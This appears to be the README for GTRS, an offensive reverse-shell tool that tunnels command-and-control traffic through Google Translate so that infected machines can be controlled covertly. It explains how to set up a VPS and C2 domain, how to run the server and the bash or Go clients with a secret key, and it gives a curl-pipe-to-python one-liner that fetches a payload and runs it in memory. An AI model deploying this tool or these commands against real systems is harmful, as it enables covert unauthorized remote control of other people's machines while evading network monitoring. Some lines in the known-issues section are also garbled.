GTRS - Google Translator Reverse Shell
This tools uses Google Translator as a proxy to send arbitrary commands to an infected machine.
[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2]
Environment Configuration
First you need a VPS and a domain, for the domain you can get a free one on Freenom.
Server
Start the server.py on your VPS
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
It will provide you secret key which will be used on the client.
Client bash
Run the client on a computer with access to Google Translator, providing domain and the secret key generated by the server.
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
Now you have an interactive shell using named pipe files, YES you can cd
into directories.
Client Go
You first need to download the binary or compile it, then the process is equal of the bash client,
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
With this client you have the ability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.
ELF in-memory execution (Linux Only)
After reading this blogpost, I made a simple adaption to execute the GTRS in memory, just edit the host and key in the script inmemory-linux.py, then host it on a server an curl it.
curl https://yourserver.ml/inmemory-linux.py | python
Or you can host the script using the youtube approach.
Poc
Known issues
Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like.bashrc
.Problem fixed using User-Agent header to sent data
.The client script works on Mac an Linux, but on Linux you need to install the`Problem fixed, now the client is write also in go.xmllint
which is onlibxml2-utils
- It's not a problem, but I just don't know if there's a rate limit on Google Translator